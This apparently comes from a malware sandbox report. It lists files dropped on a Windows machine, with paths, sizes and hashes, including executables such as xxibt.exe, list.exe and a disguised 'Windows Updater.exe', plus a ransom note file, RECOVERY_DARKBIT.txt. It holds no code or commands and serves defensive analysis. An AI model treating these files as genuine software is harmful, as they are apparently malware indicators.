C:\Users\Admin\AppData\Local\Temp\o7rl12\EBWebView\Default\Network\Network Persistent State
Filesize
1KB

MD5
0c306c533ef1b97bd4a1dd4da05cfb8f

SHA1
2c7a816d443cddad3f024cc913617bdd92d225dd

SHA256
d7f3e0a72508dcd22e64f7716a4491ebcd93ca5304b0d90fab3631872e051389

SHA512
d633757c9e076961103d44137fb10c8d0833eacc9841af93d724c40f750db21fb96a4437fb969f598b1847c15218a0fec85b21109db8a50617b20cda3d033fec

Download Submit
C:\Users\Admin\AppData\Local\Temp\o7rl12\EBWebView\Default\Network\Network Persistent State~RFe5f7568.TMP
Filesize
59B

MD5
2800881c775077e1c4b6e06bf4676de4

SHA1
2873631068c8b3b9495638c865915be822442c8b

SHA256
226eec4486509917aa336afebd6ff65777b75b65f1fb06891d2a857a9421a974

SHA512
e342407ab65cc68f1b3fd706cd0a37680a0864ffd30a6539730180ede2cdcd732cc97ae0b9ef7db12da5c0f83e429df0840dbf7596aca859a0301665e517377b

Download Submit
C:\Users\Admin\AppData\Local\Temp\o7rl12\EBWebView\Default\Network\SCT Auditing Pending Reports
Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Temp\o7rl12\EBWebView\Default\Preferences
Filesize
6KB

MD5
213e2bd708b460b0d225d082a66d9d2c

SHA1
dd9aac43d95814ddaddcb13dda1565753a55dbf5

SHA256
fb318c8dd54bc79e991f10bbb8c258adbbaf9fc3af3a5aecc6bca97741996739

SHA512
b544070db99b536d3292c1c5695c3600560d4e0100d5715db3d4014a581748a358b37dc243006e7cc28e2fa10bc574bd83c0a503ab0075f2c2ba85d3d4e0553d

Download Submit
C:\Users\Admin\AppData\Local\Temp\o7rl12\EBWebView\Default\Preferences~RFe5e9614.TMP
Filesize
5KB

MD5
0e77df758433f214164197839886747a

SHA1
61741c5fea48f1775f4b0f2f60a3f399d68dfc4a

SHA256
acb7357321a67d6bb59da05541db1bbd32e2fb1fcfd7c78f3ece0ebb1bd6bb32

SHA512
b9d68c1f8a70ce70fbe7b21a86dd5ec010740d5212387b78bced343f5ebb7f22850238a9a3de3d43373569531f9c032decdf380cb8e57f55f199cd48af622e00

Download Submit
C:\Users\Admin\AppData\Local\Temp\o7rl12\EBWebView\Local State
Filesize
1KB

MD5
630d0c39d063782e3963b94d0d35a5be

SHA1
0e9da3cf7603aa073a1ce54b2607d97d22928439

SHA256
9fedb16f72c4891cffd77df9f07849ce300853a97a4be5d386a072c8cb369068

SHA512
6497d4c25fea9fff9223a97b075592f5169ec6aa4a0c7ea630f42361e6361dfdc33cd670ab6138c3b316704e883c52a9681730b5597c689577c12d9e524a1fb5

Download Submit
C:\Users\Admin\AppData\Local\Temp\o7rl12\EBWebView\Local State
Filesize
3KB

MD5
4b2a5ced2754fc4041da37e2f68b1518

SHA1
6e13394cf273659cca89d29e20b7d9a581f32c11

SHA256
45c4af58b259d8ee519b3de9c37712f8f7619490bb1060cda06d15e050bc66d3

SHA512
5e95ffd7fe3adf369a813f072c128ee71d466aa901598aaedae254d48291a6a1d9ac38112f5f116add50272601cb6621d6b9e58ee564dedcee2e971d11cf1528

Download Submit
C:\Users\Admin\AppData\Local\Temp\o7rl12\EBWebView\Local State~RFe5e45c1.TMP
Filesize
901B

MD5
9db00c7a232db5ffa3840c0e14970eb1

SHA1
7031736f975d68278a957e1c09daf72ea62fa95f

SHA256
d673d0f1492e39746822e21f25106528a038f379a69b13cc894bfe7a06e9d764

SHA512
77f62436c855ab694f402a182e14de1b9452046eb18918df70d369c13ec2a49a8c41767fdd085c48376d18e2caa258af720a047f388a8ae7b709f7bfc8868c44

Download Submit
C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView\AutoLaunchProtocolsComponent\1.0.0.8\protocols.json
Filesize
3KB

MD5
6bbb18bb210b0af189f5d76a65f7ad80

SHA1
87b804075e78af64293611a637504273fadfe718

SHA256
01594d510a1bbc016897ec89402553eca423dfdc8b82bafbc5653bf0c976f57c

SHA512
4788edcfa3911c3bb2be8fc447166c330e8ac389f74e8c44e13238ead2fa45c8538aee325bd0d1cc40d91ad47dea1aa94a92148a62983144fdecff2130ee120d

Download Submit
C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView\Crashpad\settings.dat
Filesize
280B

MD5
e32ed179a01b315d7a14009367a878d0

SHA1
a4f3ec99127b8035465afe31f56a248e18f4d36a

SHA256
8ffad401d6121e7f4c05451da1ff1a1e5a77db9387e050e7dfeac577a44f6c11

SHA512
e35ef90710b18a0e48472e2d92fa1c9118fbf929d8fc955ebad576a35ea5966e6fa36f05b56d0d07639a1414163b0fa9bbda3dc2fcaadc985520cafe521f24ae

Download Submit
C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView\Crashpad\settings.dat
Filesize
280B

MD5
aba3d7a3b9fd9c1e7ef365852704c544

SHA1
a997d60fbd31e7feca10d55163c5c64b498c47ae

SHA256
52bc533f6abfc898396e150de196b7f605674cd4bb5f4b22720bdd138cc5792e

SHA512
5daf40dab6e52d8f079e87b962a68d6561893875e7b618c14485211e293aeb5f89f0f30a4bd789a1483544a6fc0acb6bc8ee059dc8051c47965dfb074820780e

Download Submit
C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView\Default\Code Cache\js\index-dir\the-real-index
Filesize
48B

MD5
f6e95bce27e84b74019431043aaa4180

SHA1
d40b0e713fb0de0686e2563b3247a32daa68885a

SHA256
5a6480e0e0d894735be39939d5f33f8395038d3570e34ae4dd4f74032643ad4f

SHA512
266ed5b53e7b8f65eaa4badc7970620bc7daa0691b62a7e0aa2ec523101fa9d8a2781511936914fc37e802cc9d7d62f9d52b2c91f1ed13d63dde7569abf3ba71

Download Submit
C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView\Default\Code Cache\js\index-dir\the-real-index
Filesize
168B

MD5
05a1a82d301584e04711340b5179d8a5

SHA1
8bf7efb1e25c2bbce441eea9ade245b8bebd8630

SHA256
3f8df1c558fb1fda60a38b3d9fd08de5aaf1f5c3ff7317c6ed13b6a870f1d0e2

SHA512
5f44fd6471c39dd35d15c8e20766c25e145da9389e8cb97973fa84a82c11016c4de468b9e3b8e6b3847e110aae329c2e449bdcf1df87c9233129f813e32ab680

Download Submit
C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView\Default\Network\Network Persistent State
Filesize
2KB

MD5
2aab1e613e853471edb333bb27cd5dfe

SHA1
4801a9b06a009eda891d95187a19f6e2e543e1dc

SHA256
a03de99c8dadf5f937b7c2a746a675900e323672fe2c1f8872cea3680eb1d257

SHA512
8dd362c95f337a5f87f1a92d24130e2cfbd6bab28b2b279271a71b91c545d5165beedd6930806766d7e1f11892c22fa2c96a33ca2a63c34d105439f230f448e2

Download Submit
C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView\Default\Network\Network Persistent State
Filesize
2KB

MD5
eb70bb25f9e407ea292dee665f983f1d

SHA1
1ef4225f07b835a60a9ef94fcf082a50acdb0484

SHA256
b8fb309aa9831e100ebb2501ddbf437b75e8394779fc873ba33702588d62021b

SHA512
3c196101a13bf22ee176d805ec2f01b27af4ff71c9be1bd303b6aac4f5b5e803ce11815cc58d4296ded6d09c5c732eaa347c910b1e3efa8226866a11dca85632

Download Submit
C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView\Default\Network\Network Persistent State
Filesize
2KB

MD5
0bbfc0507d94b7a9787a326b575fdda6

SHA1
6d41e156aac7fe35fd208c93ea5986f08862ce4d

SHA256
d7444c0fc45abad9b881fc70896687f0b6fe9e2af41bcfe1effd03eeeb2d42de

SHA512
e31788b3883dfdad95292e9e5a740ee1c82bf05efb2dc6bbed2ea9ea9dc6dab6e7180c17891b89ffe70844183180ca65e5abf0fffca4ae83f8965a473b13026d

Download Submit
C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView\Default\df657ac5-8d59-4d64-bd1d-d71ec94ee1c0.tmp
Filesize
6KB

MD5
2cdafc22d0ab560acc143e20ab38c199

SHA1
5604e1cb9498177d144db5cbbf29aa6738cc478b

SHA256
2f1f256a67638a3eb237ad6ab798ee4458485ebfb6c5a960cc5b16b77187ba46

SHA512
369ff1dc2390e56ddaf74ed0fe452abf796472da73341606fd00a4c21cc126c2da029abd6cc245924ffe03a37adea5ecedcdf86d3789d7e487c50b627e989502

Download Submit
C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView\Local State
Filesize
1KB

MD5
9167e842f1e72898756defb34ad90c60

SHA1
01907e23d318118a3a430b03d84da6703f0815cc

SHA256
eadc6ded1b46e3b73f14dbbf7de081b91ab725efba79f4760c4ae319aff069e7

SHA512
c0f3c3d4b9de1298b88d7a22a89cd04f08956f0f22b807e7a3a77f2645124a6f155af6ec88bc28b4149d61360e00b677a58960f638b9a0dbbcb3947decf28aa0

Download Submit
C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView\Local State
Filesize
16KB

MD5
d35d96cbe1e274b23cc67e27a0bf5390

SHA1
6ac1ca7807e5ba8a5a2a03f874fad629413d004c

SHA256
9d5a1abc5b5c983c0a5dddd5e205133923cde4ba9ddfbf9b2ebc560edb818cf4

SHA512
7b760538215250b8701ade86c263644dd6aae3fd9109a588fe7c52bd599669717f57e6a27b14ecbdffb20b146d0cf9fb08525ad840f56b2fdd9b242d18e1a3b5

Download Submit
C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView\Local State~RFe63ba5c.TMP
Filesize
901B

MD5
0ed7280945f2986f9b43df3aef764b97

SHA1
ea5c9d1994d28352632011e0eb84827b9bc95c1c

SHA256
9c845f2530b194db94cb84b38331c898c32e53e5ff6ad4baf65ec7117281cfee

SHA512
829b7f6c33d4bfa952bfb1396760133fb6b10ddc6774dc9a0fda674a8e30f60d603a8bc112aa4f8ced5c46d79e801d36f6f40148d20642912d706ea35818fb2e

Download Submit
C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView\SmartScreen\local\uriCache
Filesize
9B

MD5
b6f7a6b03164d4bf8e3531a5cf721d30

SHA1
a2134120d4712c7c629cdceef9de6d6e48ca13fa

SHA256
3d6f3f8f1456d7ce78dd9dfa8187318b38e731a658e513f561ee178766e74d39

SHA512
4b473f45a5d45d420483ea1d9e93047794884f26781bbfe5370a554d260e80ad462e7eeb74d16025774935c3a80cbb2fd1293941ee3d7b64045b791b365f2b63

Download Submit
C:\Users\Admin\AppData\Local\Temp\o7rl74\EBWebView\Crashpad\settings.dat
Filesize
280B

MD5
22caa9029358c42df420910d92da254c

SHA1
28ee8967a6549d54a7d06e0c9ed8c90ca13f6db1

SHA256
fbcca39b42609eb7352158e0408c07c2e642aadc42fa3fe82214c830abf41760

SHA512
89c8239d6a0b681c6e46321c97bbdddcb5b93ceae230a293cd40cb06bbf25f67531b7228f736b3441deb03bb4f0847206c3a8add964c7dd1a5750579ba989797

Download Submit
C:\Users\Admin\AppData\Local\Temp\o7rl74\EBWebView\Crashpad\settings.dat
Filesize
280B

MD5
4f22b50bbb6e3e3cfb2ec4cb52064ead

SHA1
b24b61f445ad1cd9127da2da227924bad185196d

SHA256
5001e07eeb81a5dfa83de934e76c22f5a78189b348ce818de958d8662bd71d81

SHA512
76d3a3dff5c4b1cf9508102836f7847849135f0014b1f8b4d8885e7fc547231c90559603ddeb09e526b06fc83236e8ab8df3ed54efb37bd49d5e18d1dc60f624

Download Submit
C:\Users\Admin\AppData\Local\Temp\o7rl74\EBWebView\Default\Cache\Cache_Data\f_000001
Filesize
762KB

MD5
fa4c823411ede33bbe803fb4bcef8623

SHA1
5b74c62518ed0169bf7959e67fa3d49bdd9eff46

SHA256
d78acec94ed6e50fc5f426b19f602426265a688814e91a34bca35669ed7c9a65

SHA512
2d3832c22d86a8caca030a059fe9adbca2452ceb72d0a6a062cbce44dd162b302b42273f18ab60b2714709166edc5bba51b660bbc626e53c470c9753ce08f5ab

Download Submit
C:\Users\Admin\AppData\Local\Temp\o7rl74\EBWebView\Default\Cache\Cache_Data\f_000002
Filesize
20KB

MD5
e8a135743f827190d33faa534647846f

SHA1
7444e05d70ac60c203561450b315e534119fd4f9

SHA256
48ac05d013e8ca1a43014f4eaf64aad1e43e13906965ec562dd22fe8d044d8ac

SHA512
eddc805eac20ea47d92697a8a635f98f7a164b3c8354afe9a5dc1ec60fa5a008002c36e6d0f0e070fca429109670536d2e8c962a28085f76927976b6c9388921

Download Submit
C:\Users\Admin\AppData\Local\Temp\o7rl74\EBWebView\Default\Cache\Cache_Data\f_000003
Filesize
120KB

MD5
fe8d74a23ae5e64126c1959740dc1a40

SHA1
2ea93a25fe8fa6c5d881bdca358c5395926e00f4

SHA256
8a04ec795d9327bf9d463b474aabce8fbd1cd57d12f35b754f0a5fa4fc1a9a7b

SHA512
e7c136f434a7458cc73f653de32cfbae887270e83d231e6337297f3defb09e365d6158c419a837c10e6b2be2f49eab469d42ba0eb3ddd6784a9bfef36b2c4fa0

Download Submit
C:\Users\Admin\AppData\Local\Temp\o7rl74\EBWebView\Default\Cache\Cache_Data\f_000004
Filesize
16KB

MD5
49295de6ccd23cf80b6418a2d209868f

SHA1
42a955b4560bb22cb9b5b39577f7a691ea345018

SHA256
d5a29c73c6200af2ed6918a61106e649b92098ecd476830d725ed4d2ea5a8efa

SHA512
2954ab185fd84a08933bb6e79d91e301021fce4e632b477e765c172cacf72913561e101ed2f7e66bfbdc5946b35f2b63eb2b6f878e0afc9d26ffe71ee112a1c0

Download Submit
C:\Users\Admin\AppData\Local\Temp\o7rl74\EBWebView\Default\Cache\Cache_Data\f_000005
Filesize
226KB

MD5
70dbfd369e4d3675a72fb5360eaea2c6

SHA1
16f5f56ba247f0493af4c21530f88cadeefceef7

SHA256
807f5d7439c6597eccce7f711619568671f2aad428b6667abdc42ec2bb35bfff

SHA512
2afcc50feb472f9baef4f5a9775284ac4ccc229fd0e5fca411307f061ebf5725d4f8a48f90d1eb3e53b8d259f551847687b13a345dfb425dc7bdffa2e1a97f8c

Download Submit
C:\Users\Admin\AppData\Local\Temp\o7rl74\EBWebView\Default\Network Action Predictor
Filesize
4KB

MD5
92230346587e8c41a0de65c260e856c2

SHA1
091ca4e9b681d76a06e6251fe5d07551d61742db

SHA256
ba926d71a6801508c917b38646be966b1f75f125e38ee43928be389195ccd3d3

SHA512
b44b82918c796c5e15f45adad8598c667e9f163992b819da2dd1fa44088c6d374fc40bd68e249d38eb95c94af579f74831227c19561e0e8707e82eaa2c1568db

Download Submit
C:\Users\Admin\AppData\Local\Temp\o7rl74\EBWebView\Local State
Filesize
1KB

MD5
bed38e1e145198eeb79564f1576039ad

SHA1
bc268b918b3d867b2ff355bba738e4f4c3d55add

SHA256
8aa7303620f59f2819f94dec6defc92b7fe56e26da20eff85011ae2bd1964e16

SHA512
b306d825405332e188fb2fd895f57f0650e9f1799fe0fcc152acf3f7a35765053524a88c52f01f2a51a4f514ea6330060ff73d18785237cc5f4221fd2c3f3066

Download Submit
C:\Users\Admin\AppData\Local\Temp\o7rl74\EBWebView\Local State~RFe678203.TMP
Filesize
900B

MD5
b1a3d4e6cb2a3057fa60802dbe8e8df2

SHA1
7b5e83a74b5635b912be77d4da43e1818514e6c4

SHA256
2dcc79c7c05c576dcf591ed78f5ddbb32e8d852c08e11f5bd7e4afbea49b2dfe

SHA512
5a8b9f9518d90c563a3010b6ea0f73acce59ecbd2b9a80206966e289763a7457c9e461e6d12ca98a71a1fd1a63d977171a9d1bcb571055f46cc84097017de8a6

Download Submit
C:\Users\Admin\AppData\Local\Temp\o7rl74\EBWebView\SmartScreen\RemoteData\synchronousLookupUris_636976985063396749.rel.v2
Filesize
34KB

MD5
0e06e28c3536360de3486b1a9e5195e8

SHA1
eb768267f34ec16a6ccd1966dca4c3c2870268ab

SHA256
f2658b1c913a96e75b45e6adb464c8d796b34ac43baf1635aa32e16d1752971c

SHA512
45f1e909599e2f63372867bc359cf72fd846619dfeb5359e52d5700e0b1bcffe5ff07606511a3bffddd933a0507195439457e4e29a49eb6451f26186b7240041

Download Submit
C:\Users\Admin\AppData\Local\Temp\ovvoafttc.reo
Filesize
496KB

MD5
5ccff1620083354b454c99f862050341

SHA1
d72bcbd2eae01246182240c1b154346eb84e478c

SHA256
d1c7c6fb4c008a4995e77284faed7677e3d75791a387d1d009a1d70fd331cb77

SHA512
177865466bef89ce79a92aac778461d9eb17fc12774fb99373488fec6b4c81269811aa87ffd22b43142756dd2700bd557dcdd62cf623c30a5e75fe09442ce427

Download Submit
C:\Users\Admin\AppData\Local\Temp\shi3B84.tmp
Filesize
4.3MB

MD5
6c7cdd25c2cb0073306eb22aebfc663f

SHA1
a1eba8ab49272b9852fe6a543677e8af36271248

SHA256
58280e3572333f97a7cf9f33e8d31dc26a98b6535965ebd0bde82249fc9bf705

SHA512
17344e07b9e9b2cd6ae4237d7f310732462f9cbb8656883607d7a1a4090e869265f92a6da1718dee50b1375b91583de60c6bd9e7e8db6b6e45e33f4b894365d6

Download Submit
C:\Users\Admin\AppData\Local\Temp\shi3B94.tmp
Filesize
81KB

MD5
125b0f6bf378358e4f9c837ff6682d94

SHA1
8715beb626e0f4bd79a14819cc0f90b81a2e58ad

SHA256
e99eab3c75989b519f7f828373042701329acbd8ceadf4f3ff390f346ac76193

SHA512
b63bb6bfda70d42472868b5a1d3951cf9b2e00a7fadb08c1f599151a1801a19f5a75cfc3ace94c952cfd284eb261c7d6f11be0ebbcaa701b75036d3a6b442db2

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpD856.tmp
Filesize
21KB

MD5
4fdfc331d252e377f7c0bbe5f26aa4fc

SHA1
56285ecc3512c5d170cce226658f4ad152af17ba

SHA256
c61208097715b93b853e6b3f9c203e754ff15c7d4df8bdb38a3e4b496494495e

SHA512
825d0d083fd3034208fb148e2512098f7f27b70464171e0e861c96593a8f2703da821f947852cd825559644b15f0b18964bb9a1f4b7f99963b96cfaaaffbd0cd

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpaddon
Filesize
442KB

MD5
85430baed3398695717b0263807cf97c

SHA1
fffbee923cea216f50fce5d54219a188a5100f41

SHA256
a9f4281f82b3579581c389e8583dc9f477c7fd0e20c9dfc91a2e611e21e3407e

SHA512
06511f1f6c6d44d076b3c593528c26a602348d9c41689dbf5ff716b671c3ca5756b12cb2e5869f836dedce27b1a5cfe79b93c707fd01f8e84b620923bb61b5f1

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpaddon-1
Filesize
8.0MB

MD5
a01c5ecd6108350ae23d2cddf0e77c17

SHA1
c6ac28a2cd979f1f9a75d56271821d5ff665e2b6

SHA256
345d44e3aa3e1967d186a43d732c8051235c43458169a5d7d371780a6475ee42

SHA512
b046dd1b26ec0b810ee441b7ad4dc135e3f1521a817b9f3db60a32976352e8f7e53920e1a77fc5b4130aac260d79deef7e823267b4414e9cc774d8bffca56a72

Download Submit
C:\Users\Admin\AppData\Local\Temp\xxibt.exe
Filesize
281KB

MD5
bd98d45ac755d0485378730125afbb94

SHA1
2efa390f56406a1f048ec465749c1d4dfa7b1771

SHA256
199e27cbba82346d3f8052ccf0f442b59aa2fc3dc5e5ffdd6924b7c6da42a258

SHA512
6fdd1a221dc3b8b7d6a65aca122979f86d8ed3dc48db8338c195230fb0d571a8ba94bea83fa23c5e732a3b63b2aead6fd04188587369dc9083bbf7fd9695d41e

Download Submit
C:\Users\Admin\AppData\Local\Temp\xxibt.exe
Filesize
281KB

MD5
bd98d45ac755d0485378730125afbb94

SHA1
2efa390f56406a1f048ec465749c1d4dfa7b1771

SHA256
199e27cbba82346d3f8052ccf0f442b59aa2fc3dc5e5ffdd6924b7c6da42a258

SHA512
6fdd1a221dc3b8b7d6a65aca122979f86d8ed3dc48db8338c195230fb0d571a8ba94bea83fa23c5e732a3b63b2aead6fd04188587369dc9083bbf7fd9695d41e

Download Submit
C:\Users\Admin\AppData\Local\Temp\xxibt.exe
Filesize
281KB

MD5
bd98d45ac755d0485378730125afbb94

SHA1
2efa390f56406a1f048ec465749c1d4dfa7b1771

SHA256
199e27cbba82346d3f8052ccf0f442b59aa2fc3dc5e5ffdd6924b7c6da42a258

SHA512
6fdd1a221dc3b8b7d6a65aca122979f86d8ed3dc48db8338c195230fb0d571a8ba94bea83fa23c5e732a3b63b2aead6fd04188587369dc9083bbf7fd9695d41e

Download Submit
C:\Users\Admin\AppData\Local\list.exe
Filesize
2.6MB

MD5
21383134d7ee76a303c43e1f20be7863

SHA1
5e704d5e7c24d8a4b7785476dcad4832137bc157

SHA256
5ad7dbb52a77b53508d034e66a1e74eef43ceb3fe95815369b31007f203e306c

SHA512
7446172177f0199afbd8a8bdeda0f566a1e2a91030522cd231ccefeed79eea31d2620b8a30a80bbc89ff601f348aaba81700964aa27b8f81cef5d126166dc6c5

Download Submit
C:\Users\Admin\AppData\RECOVERY_DARKBIT.txt
Filesize
1KB

MD5
96105b566c113b7a0248eead1e9e0344

SHA1
1d37a0c6bc90eecfecf62deecf9a7cf31e924ae4

SHA256
fca050431ba94630d691a7d6cbdd491354c69f738b0d8e03b531173a741ad286

SHA512
cca4f7407326145f5ab3288d41b4f221c7227ecffd0bb4cd5fe068857807aacc76f16f30fdb4d93a2f5e3377e47ea4cf0a9486ff6b0ad6ecdb7b81c326f72e23

Download Submit
C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Johan.msi
Filesize
3.8MB

MD5
6024d8c2207fc4610416beaf8d360527

SHA1
793ab731b07bf86ecc3ba78e1b76dc2aa0b48f8a

SHA256
cb4cad56ea5391e44dc661513c4f021c5272db710cc1733251152d1cb0eb5829

SHA512
0bb9cd1ec8873137e654a94c21887b7d4c73a9e561563d52ddec18377552d1a33d256487362bb614ebb3d804047427977b3eb0070c92fc43d0dd656af13eeab4

Download Submit
C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Johan.msi
Filesize
3.8MB

MD5
6024d8c2207fc4610416beaf8d360527

SHA1
793ab731b07bf86ecc3ba78e1b76dc2aa0b48f8a

SHA256
cb4cad56ea5391e44dc661513c4f021c5272db710cc1733251152d1cb0eb5829

SHA512
0bb9cd1ec8873137e654a94c21887b7d4c73a9e561563d52ddec18377552d1a33d256487362bb614ebb3d804047427977b3eb0070c92fc43d0dd656af13eeab4

Download Submit
C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Updater.exe
Filesize
1002KB

MD5
f95007206c6b2407fb69748ef7c93612

SHA1
1b7b10470bcc56823a25274bcc3c4bfbec76e428

SHA256
85ca1094e52a33019be8ebee09c580a31d4caa846a6be4412c58796bfc0fab5a

SHA512
001975689cb431ec8e79d4a90597e8055dabf8e18c769818646be7ba7708c57192956e0dc43ee3e25dd302f33246ddc226b5d6a660650878a2031b20e1b52752

Download Submit
C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\decoder.dll
Filesize
206KB

MD5
8a3f1a0da39530dcb8962dd0fadb187f

SHA1
d5294f6be549ec1f779da78d903683bab2835d1a

SHA256
c6988e36b1e1d6ffc89d9fa77ad35f132f5aa89e680d0155e0b6aee1c524c99f

SHA512
1e0d5be3ee164fb16de629a975f3c3da61659b99a0fc766850ffeeddb2d32b7ee0d3b85c77f01d34d9fe2933bd7bd11c6dba7b35d30faed7ce09485fd706d49d

Download Submit
C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\decoder.dll
Filesize
206KB

MD5
8a3f1a0da39530dcb8962dd0fadb187f

SHA1
d5294f6be549ec1f779da78d903683bab2835d1a

SHA256
c6988e36b1e1d6ffc89d9fa77ad35f132f5aa89e680d0155e0b6aee1c524c99f

SHA512
1e0d5be3ee164fb16de629a975f3c3da61659b99a0fc766850ffeeddb2d32b7ee0d3b85c77f01d34d9fe2933bd7bd11c6dba7b35d30faed7ce09485fd706d49d

Download Submit
C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\decoder.dll
Filesize
206KB

MD5
8a3f1a0da39530dcb8962dd0fadb187f

SHA1
d5294f6be549ec1f779da78d903683bab2835d1a

SHA256
c6988e36b1e1d6ffc89d9fa77ad35f132f5aa89e680d0155e0b6aee1c524c99f

SHA512
1e0d5be3ee164fb16de629a975f3c3da61659b99a0fc766850ffeeddb2d32b7ee0d3b85c77f01d34d9fe2933bd7bd11c6dba7b35d30faed7ce09485fd706d49d

Download Submit
C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\decoder.dll
Filesize
206KB

MD5
8a3f1a0da39530dcb8962dd0fadb187f

SHA1
d5294f6be549ec1f779da78d903683bab2835d1a

SHA256
c6988e36b1e1d6ffc89d9fa77ad35f132f5aa89e680d0155e0b6aee1c524c99f

SHA512
1e0d5be3ee164fb16de629a975f3c3da61659b99a0fc766850ffeeddb2d32b7ee0d3b85c77f01d34d9fe2933bd7bd11c6dba7b35d30faed7ce09485fd706d49d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\64bit\security.config.cch.new
Filesize
454B

MD5
d0edbea6cd8785deab7ac0841eeccd89

SHA1
0a5ff666ac12889472e58535fb9db3541fa1c5e2

SHA256
29186b8815d5e6bb0e91cc959bc87e9d9654c62f85f7970f47f9965d8f283610

SHA512
5005bfe1369367b2e8ca435626b3be9823e5d19518280233f204493925d14267e8feba2f5b1245a5d6a4b59ba3ef5c790639989b81e3a113efcdbbdf1eb1f30c

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch.new
Filesize
960B

MD5
1b46fd63e36084e1e06d6b165e6381e7

SHA1
eb31597d708187770fcf845d857bfbcb26bf26f0

SHA256
ec897de575846a170a60f44e24f9d9ce71d5c8c08729f747fdf9c4581603844f

SHA512
2c5973c823029d9b3a24be86dd6b883786ae160858df8732248360290927f3cb5a8b5e647d2ad2f553e5b801177d2ed813f862a8ffef1079e56f088056a3dcf1

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\default.dic
Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6824f4a902c78fbd.customDestinations-ms
Filesize
17KB

MD5
98cf2efeb3ee14f4e21d8ca4bd7e38bd

SHA1
76cb321e87eaeb43a782195aeaa48d9af5821453

SHA256
885c13a0a59b3bbeba0e49cf7da3181cbb98ee183c381016684d52bd5d02a213

SHA512
4f2c9a92fc25485a31fdcfae62916739b98a664382bffbed234ea8d5fa5acfc448fea57fc075ad7202899de434ce1df7355897428e619fc1c7bf56ed66ed1332

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6824f4a902c78fbd.customDestinations-ms
Filesize
20KB

MD5
83900c8b71edf8f9f01b42e1d1db1989

SHA1
c295a3d5bb2cd067f266e9c8dccd14ce5b772531

SHA256
63720bcf2dfb99cc292fead9aeaac77d1774cb4c168d4985c0be3a9a78b611e0

SHA512
6852f2abb188d001db6a816fcf07a58334059ea1163a606ea6c9c54e836e96e1f5785e3428320f5de8ad5d5826b11f9920bab9bfbd6fb88726bdbbcdcd463f58

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6824f4a902c78fbd.customDestinations-ms
Filesize
21KB

MD5
0d18b3a3f0b4529bc67c1355bf7ca40c

SHA1
96f1c1af5de8b9f2a85ffb80a43ec547eb8fddf2

SHA256
00cb8bce6929ef894a9fce532ec86f95416f504e041721f24b8625e134a42f45

SHA512
07dd5b60381c83d918b591bacddb5b403150e5d82aa7d6d593f80bf3d8f9ba0c7ba966a11cec34f7949bf1b55da07c911000a056a82da18eb8afd92312c2e1e1

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6824f4a902c78fbd.customDestinations-ms
Filesize
21KB

MD5
8112a684bdb30eb34a67143992d9f918

SHA1
dee2f8c7dadcd3dab571cf4091fb1f7008c6c7d2

SHA256
6285b86402c3faffeaebc49ed625d298697201a6b96a085c1dde4a7d8dec8843

SHA512
dd47574e7b7d4937668fc1c6b2bcc5c06b1936d980ee85a1e61be75e38243d9ca90c34d37fcc74a14832ed7730f1d86d5afd6a2ed973e5055d986eb317f8385c

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ccba5a5986c77e43.customDestinations-ms
Filesize
3KB

MD5
0cfebafdab5ec0726ba669c25ce7230b

SHA1
b4bdd07f907fb093486b25c6a09ac7bd0265eecc

SHA256
d9d37a7b98f4060143c5db93e5ed037526e131838d53260881797cc8dca9fee1

SHA512
95f6ee0392419cfc3c8cf26f48abc150f2e0ee3db8ef6bdb6d55a4c27c36d44383f2d3d990474401af5463d7bddca9f1c112f3ba5c1239ed451d18540e6f7c89

Download Submit
